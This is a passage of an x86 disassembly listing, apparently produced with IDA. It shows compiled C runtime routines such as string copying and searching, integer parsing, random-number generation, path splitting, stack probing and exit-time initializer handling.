		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43CBE4, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43CBE4, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A97C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB9A0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 271067Eh
		push	eax
		nop
		call	near ptr 2700B3Ch


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB99C, edi
		mov	byte_4DB998, bl
		jnz	short loc_41B844
		mov	eax, dword_4DCFFC
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DCFF8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DCFFC
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB9A0, edi
		call	near ptr 77E75CB5h
		nop


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A960, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A960
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A960, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C73p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DCEC1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Fp
					; sub_401ACD+75AEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43CBE4, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43CBE4, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43CBE4, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C9D8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


